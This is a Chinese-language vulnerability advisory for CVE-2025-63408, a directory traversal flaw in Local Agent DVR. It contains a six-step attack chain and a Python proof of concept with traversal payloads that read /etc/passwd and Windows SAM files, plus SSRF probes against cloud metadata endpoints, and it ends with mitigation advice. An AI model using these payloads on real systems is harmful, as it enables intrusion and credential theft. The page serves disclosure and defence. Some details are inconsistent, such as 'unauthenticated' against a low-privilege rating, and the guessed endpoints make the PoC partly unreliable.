CVE-2025-63408: Local Agent DVR目录遍历漏洞导致信息泄露和RCE

漏洞信息

漏洞编号

CVE-2025-63408

漏洞类型

目录遍历

CVSS评分

7.8 高危

攻击向量

本地 (AV:L)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Local Agent DVR

漏洞概述

CVE-2025-63408是Local Agent DVR软件中的一个高危目录遍历漏洞。该漏洞存在于Local Agent DVR 6.6.1.0及之前的所有版本中，攻击者可以利用此漏洞通过构造特殊的HTTP请求来遍历系统目录结构，访问本不应该被访问的敏感文件。由于该漏洞允许未认证的本地攻击者利用低权限账户发起攻击，因此具有较高的实际威胁性。攻击者成功利用此漏洞后，可以获取服务器上的敏感配置文件、凭据信息和其他机密数据。更严重的是，攻击者还可以利用目录遍历结合其他技术发起服务器端请求伪造(SSRF)攻击，甚至在特定条件下实现操作系统命令执行，从而完全控制受影响的系统。该漏洞的CVSS评分为7.8，属于高危级别，需要尽快采取修复措施以防止潜在的安全事件发生。Local Agent DVR作为一款数字视频录像软件，通常部署在企业或个人的监控系统中，一旦被攻击成功，攻击者不仅可以获取视频监控数据，还可能将受控系统作为进一步渗透的跳板，对整个网络安全构成严重威胁。

技术细节

Local Agent DVR 6.6.1.0及之前版本中的目录遍历漏洞主要源于应用程序对用户输入的文件路径验证不充分。攻击者可以通过在HTTP请求中注入特殊的路径遍历序列（如../或URL编码的../）来绕过应用的路径限制，访问应用服务器文件系统中的任意文件。该漏洞的技术原理如下：首先，Local Agent DVR的Web服务组件在处理文件请求时，未能正确过滤或规范化用户提供的文件路径参数。攻击者可以构造形如/..%2F..%2F..%2Fetc%2Fpasswd或/..\..\..\windows\system32\config\sam的请求来遍历目录结构。其次，由于应用程序以较高权限运行（需要访问系统资源和摄像头设备），攻击者利用目录遍历不仅可以读取普通用户文件，还能访问系统敏感文件如/etc/passwd、/etc/shadow（如果权限允许）或Windows系统的SAM数据库。在技术利用层面，攻击者通常先利用目录遍历读取应用的配置文件获取数据库连接字符串、API密钥或其他凭据信息。然后可以通过读取日志文件获取session令牌或利用SSRF功能访问内网服务。最终，结合系统命令执行接口（如存在）实现完整的远程代码执行。漏洞的利用复杂度较低，不需要复杂的攻击工具，使得该漏洞具有较高的实际可利用性。

攻击链分析

STEP 1

步骤1: 信息收集

攻击者识别目标系统中运行的Local Agent DVR版本，确认版本号在6.6.1.0或更早版本。通过端口扫描发现Web服务端口（通常为8080、8090或默认安装端口），并收集服务器操作系统类型（Windows/Linux）信息。

STEP 2

步骤2: 构造目录遍历请求

攻击者构造包含路径遍历序列的HTTP请求，使用../或URL编码的../来绕过应用的路径验证。针对Linux系统使用Unix风格路径，针对Windows系统使用反斜杠路径。常见的遍历payload包括../../../../etc/passwd、..%2F..%2F..%2F..%2Fetc%2Fpasswd等。

STEP 3

步骤3: 敏感文件读取

成功利用目录遍历漏洞后，攻击者读取系统敏感文件获取凭据信息。优先读取配置文件如agent.config、web.xml、database连接文件等，以及系统文件如/etc/passwd、/etc/shadow（如果权限允许）、SAM数据库等。获取应用配置和凭据为后续攻击做准备。

STEP 4

步骤4: SSRF攻击利用

利用目录遍历漏洞结合SSRF功能访问内网服务。攻击者可以访问云元数据服务（如AWS 169.254.169.254）、内网数据库、管理后台等。通过SSRF探测内网拓扑结构，识别可利用的内部服务。

STEP 5

步骤5: 命令执行

在获取足够凭据和系统信息后，攻击者尝试通过应用的管理接口或API执行操作系统命令。如果成功获取管理员权限，可以安装后门、创建新账户、下载恶意软件，将受控系统作为跳板进一步横向移动。

STEP 6

步骤6: 持久化控制

攻击者建立持久化访问机制，包括植入Webshell、添加启动项、创建计划任务或安装rootkit。同时窃取监控视频数据、提取敏感业务信息，对目标系统造成持续性危害。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2025-63408 PoC - Local Agent DVR Directory Traversal
# Vulnerability: Unauthenticated directory traversal in Local Agent DVR <= 6.6.1.0
# CVSS 7.8 (High) - Local attack vector with low privileges required

import requests
import urllib.parse
import sys

TARGET_HOST = "http://target-agent-dvr.local"

def test_directory_traversal():
    """Test for directory traversal vulnerability in Local Agent DVR"""
    
    # Common sensitive files to check on Linux systems
    linux_files = [
        "../../../../etc/passwd",
        "..%2F..%2F..%2F..%2Fetc%2Fpasswd",
        "....//....//....//....//etc/passwd",
        "..\..\..\..\etc\passwd",
        "..%5C..%5C..%5C..%5Cetc%5Cpasswd"
    ]
    
    # Common sensitive files for Windows systems
    windows_files = [
        "..\..\..\..\windows\win.ini",
        "..%5C..%5C..%5C..%5Cwindows%5Cwin.ini",
        "..\..\..\..\Windows\System32\drivers\etc\hosts",
        "..\..\..\..\ProgramData\Application Data\*",
        "..\..\..\..\inetpub\wwwroot\web.config"
    ]
    
    print(f"[*] Testing Local Agent DVR directory traversal vulnerability")
    print(f"[*] Target: {TARGET_HOST}")
    print("-" * 60)
    
    # Test Agent DVR specific paths
    agent_dvr_paths = [
        "/api/files?path=../../../../etc/passwd",
        "/files/..%2F..%2F..%2F..%2Fetc/passwd",
        "/download?file=../../../../etc/passwd",
        "/storage/..%2F..%2F..%2F..%2Fconfig/agent.config",
        "/logs/..\..\..\..\windows\System32\config\sam"
    ]
    
    for path in agent_dvr_paths:
        try:
            url = f"{TARGET_HOST}{path}"
            print(f"[*] Testing: {url}")
            
            response = requests.get(url, timeout=10, verify=False)
            
            if response.status_code == 200:
                content = response.text
                if "root:" in content or "[extensions]" in content or "<?xml" in content:
                    print(f"[+] VULNERABLE! Successfully accessed: {path}")
                    print(f"[+] Content preview:\n{content[:500]}")
                    return True
            elif response.status_code in [403, 404]:
                print(f"[-] Access blocked or not found: {path}")
            else:
                print(f"[*] Status code: {response.status_code}")
                
        except requests.exceptions.RequestException as e:
            print(f"[!] Error testing {path}: {e}")
    
    # Also try basic traversal
    for traversal in linux_files + windows_files:
        try:
            encoded = urllib.parse.quote(traversal)
            url = f"{TARGET_HOST}/files/{encoded}"
            print(f"[*] Testing basic traversal: {encoded}")
            
            response = requests.get(url, timeout=10, verify=False)
            
            if response.status_code == 200 and len(response.content) > 0:
                print(f"[+] Potential access via: {traversal}")
                
        except Exception as e:
            print(f"[!] Error: {e}")
    
    print("-" * 60)
    print("[*] Testing complete. If vulnerable, sensitive files may be exposed.")
    print("[*] Next steps: Check for SSRF or RCE via command injection paths")
    
    return False

def test_ssrf():
    """Test for SSRF via directory traversal"""
    ssrf_targets = [
        "/api/http?url=http://localhost:22",
        "/api/fetch?target=http://169.254.169.254/latest/meta-data/",
        "/proxy/..%2F..%2Fhttp://internal-server/admin"
    ]
    
    print("\n[*] Testing SSRF via traversal...")
    for target in ssrf_targets:
        try:
            url = f"{TARGET_HOST}{target}"
            response = requests.get(url, timeout=10, verify=False)
            print(f"[*] SSRF test: {target} - Status: {response.status_code}")
        except:
            pass

if __name__ == "__main__":
    test_directory_traversal()
    test_ssrf()
    print("\n[!] Note: This PoC is for authorized security testing only!")

影响范围

Local Agent DVR < 6.6.1.0

Local Agent DVR 6.6.1.0 (及所有更早版本)

所有支持平台版本（Windows/Linux/macOS）

防御指南

临时缓解措施

在官方补丁发布之前，建议采取以下临时缓解措施：1) 通过网络ACL或防火墙规则限制对Local Agent DVR Web管理界面的访问，仅允许受信任的管理IP访问；2) 禁用不必要的文件下载和预览功能，减少目录遍历攻击面；3) 监控应用日志中的异常请求模式，如大量包含../的URL请求；4) 考虑使用反向代理限制路径遍历字符的使用；5) 如果业务允许，暂时关闭Local Agent DVR的Web服务功能，仅使用本地客户端访问；6) 实施网络分段，将Agent DVR系统与其他关键业务系统隔离，防止攻击成功后的横向移动。

参考链接

1 CVE https://www.cve.org/CVERecord?id=CVE-2025-63408
2 NVD https://nvd.nist.gov/vuln/detail/CVE-2025-63408
3 Details https://www.cvedetails.com/cve/CVE-2025-63408/
4 VulDB https://vuldb.com/cve/CVE-2025-63408
5 Link https://ispysoftware.github.io/Agent_API/
6 Link https://www.ericholub.com/blog/agent-dvr-rce/